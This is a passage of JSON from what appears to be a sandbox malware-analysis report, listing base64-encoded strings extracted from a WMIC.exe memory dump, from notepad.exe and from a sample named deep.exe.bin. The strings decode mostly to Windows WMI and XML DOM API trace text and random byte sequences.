Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTG9jYWxlIiwgMCwtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZSIsIDAsIC0sMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZSIsIDAsLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiTmFtZXNwYWNlIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUGFyYUlkIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUGFyYW1ldGVycyIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUGFzc3dvcmQiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUHJvcGVydGllcyIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUHJvcGVydGllcyIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUFdoZXJlIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUXVhbGlmaWVycyIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiUXVhbGlmaWVyVmFsdWUiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiU2VydmVyIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVGFyZ2V0IiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVGV4dCIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVG9WYWx1ZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVHlwZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVXNlciIsIDAsLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVmVyYnMiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiVmVyYlR5cGUiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0TWV0aG9kKEwiJXMiLCAwLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0TmFtZXMoTlVMTCwgV0JFTV9GTEFHX0FMV0FZUyB8IFdCRU1fRkxBR19OT05TWVNURU1fT05MWSwgTlVMTCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0UHJvcGVydHlRdWFsaWZpZXJTZXQoTCIlcyIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6UHV0KEwiJXMiLCAwLCAtLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6UHV0KEwiJXMiLCAwLC0sIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6U3Bhd25JbnN0YW5jZSgwLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Db250ZXh0OjpTZXRWYWx1ZShMIkV4Y2x1ZGVTeXN0ZW1Qcm9wZXJ0aWVzIiwwLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Mb2NhdG9yOjpDb25uZWN0U2VydmVyKEwiJXMgbm90IGZvdW5kLiBDb25uZWN0aW5nIHRvIG1zXzQwOSIsIE5VTEwsIE5VTEwsIEwiJXMiLCAwTCwgTCIlcyIsIE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Mb2NhdG9yOjpDb25uZWN0U2VydmVyKEwiJXMiLCBMIiVzIiwgKiwgTCIlcyIsIDBMLCBMIiVzIiwgTlVMTCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1Mb2NhdG9yOjpDb25uZWN0U2VydmVyKEwiJXMiLCBOVUxMLCBOVUxMLCBMIiVzIiwgMEwsIEwiJXMiLCBOVUxMLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1PYmplY3RUZXh0U3JjOjpHZXRUZXh0KDAsIC0sIFdNSV9PQkpFQ1RfVEVYVF9DSU1fRFREXzJfMCwgLSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1RdWFsaWZpZXJTZXQ6OkdldChMIkNJTVRZUEUiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1RdWFsaWZpZXJTZXQ6OkdldChMIkNJTVRZUEUiLCAwLCAtLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RGVsZXRlQ2xhc3MoTCIlcyIsIDAsIE5VTEwsIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RGVsZXRlSW5zdGFuY2UoTCIlcyIsIDAsIE5VTEwsIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY01ldGhvZChMIiVzIiwgTCIlcyIsIDAsIE5VTEwsIC0sIC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIiwgTCIlcyIsIDAsIE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIixMIiVzIiwgMCwgTlVMTCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIixMIlNFTEVDVCAqIEZST00gTVNGVF9DbGlBbGlhcyIsV0JFTV9GTEFHX0ZPUldBUkRfT05MWXxXQkVNX0ZMQUdfUkVUVVJOX0lNTUVESUFURUxZLE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6RXhlY1F1ZXJ5KEwiV1FMIixMIlNFTEVDVCAqIEZST00gTVNGVF9DbGlUcmFuc2xhdGVUYWJsZSIsV0JFTV9GTEFHX0ZPUldBUkRfT05MWXxXQkVNX0ZMQUdfUkVUVVJOX0lNTUVESUFURUxZLE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCAwLCBOVUxMLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCBXQkVNX0ZMQUdfUkVUVVJOX1dCRU1fQ09NUExFVEV8V0JFTV9GTEFHX1VTRV9BTUVOREVEX1FVQUxJRklFUlMsIDAsIE5VTEwsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCBXQkVNX0ZMQUdfVVNFX0FNRU5ERURfUVVBTElGSUVSUywgMCwgTlVMTCwgLSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6UHV0Q2xhc3MoLSwgMCwgTlVMTCwgTlVMTCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6UHV0SW5zdGFuY2UoLSwgMCwgTlVMTCwgTlVMTCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1TZXJ2aWNlczo6UHV0SW5zdGFuY2UoLSwgV0JFTV9GTEFHX0NSRUFURV9PTkxZLCBOVUxMLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc0RY","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc0RZ","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc1g=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aVdpbmRvd1Bvc1k=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUF0dHJpYnV0ZTo6cHV0X25vZGVWYWx1ZShMIiVzIik=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlQXR0cmlidXRlKEwiJXMiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlQ0RBVEFTZWN0aW9uKC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlRG9jdW1lbnRGcmFnbWVudCgtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Y3JlYXRlTm9kZSglZCwgIiVzIiwgTCIiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Z2V0X2RvY3VtZW50RWxlbWVudCgtLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6Z2V0RWxlbWVudHNCeVRhZ05hbWUoTCJSRUNPUkQiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6bG9hZFhNTCgtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Mjo6c2F2ZShMIiVzIik=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50OjpnZXRfZG9jdW1lbnRFbGVtZW50KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50Ojpsb2FkWE1MKC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTURvY3VtZW50RnJhZ21lbnQ6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmdldEVsZW1lbnRzQnlUYWdOYW1lKEwiQ09NTUFORExJTkUiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmdldEVsZW1lbnRzQnlUYWdOYW1lKEwiVkFMVUUiLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTUVsZW1lbnQ6OmdldEVsZW1lbnRzQnlUYWdOYW1lKEwiWFNMRk9STUFUIiwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5hbWVkTm9kZU1hcDo6Z2V0TmFtZWRJdGVtKEwiS0VZV09SRCIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5hbWVkTm9kZU1hcDo6c2V0TmFtZWRJdGVtKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmNsb25lTm9kZSgtLC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmNsb25lTm9kZShWQVJJQU5UX1RSVUUsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9hdHRyaWJ1dGVzKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9ub2RlVmFsdWUoLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9wYXJlbnROb2RlKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF9QYXJlbnROb2RlKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OmdldF90ZXh0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnB1dF90ZXh0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnB1dF90ZXh0KEwiJXMiKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnJlcGxhY2VDaGlsZCgtLCAtLCBOVUxMKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGU6OnJlcGxhY2VDaGlsZCgtLC0sLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGVMaXN0OjpnZXRfaXRlbSglZCwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGVMaXN0OjpnZXRfaXRlbSgtLC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhNTERPTU5vZGVMaXN0OjpnZXRfbGVuZ3RoKC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTTERPTURvY3VtZW50Mjo6bG9hZChMIiVzIiwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTTERPTURvY3VtZW50Mjo6cHV0X2FzeW5jKFZBUklBTlRfRkFMU0Up","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjphZGRQYXJhbWV0ZXIoTCIlcyIsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjpnZXRfb3V0cHV0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjpwdXRfaW5wdXQoLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjpwdXRfb3V0cHV0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTUHJvY2Vzc29yOjp0cmFuZm9ybSgtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTVGVtcGxhdGU6OmNyZWF0ZVByb2Nlc3NvcigtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVhTVGVtcGxhdGU6OnB1dHJlZl9zdHlsZXNoZWV0KC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aVkpYXBhPCM7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SXsnQH5nIDBPTi8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aX54aG4nQy8l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aX5YVT47NTc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SidDYDhQXSxg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aihdSGx9Wzs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"amVjdDo6R2V0KCVzLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"amhDTzFEWFNA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SmxTRWRKRGpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Sn0hV1MhRixZ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SyUzXy1rPmosTilb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aypTNChGaitxa0o=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"azFkIWxtISxA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SzczfWQ5YSk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"azxJNzVdbDhJXkk=","type":"Ansi","source":"Memory/File 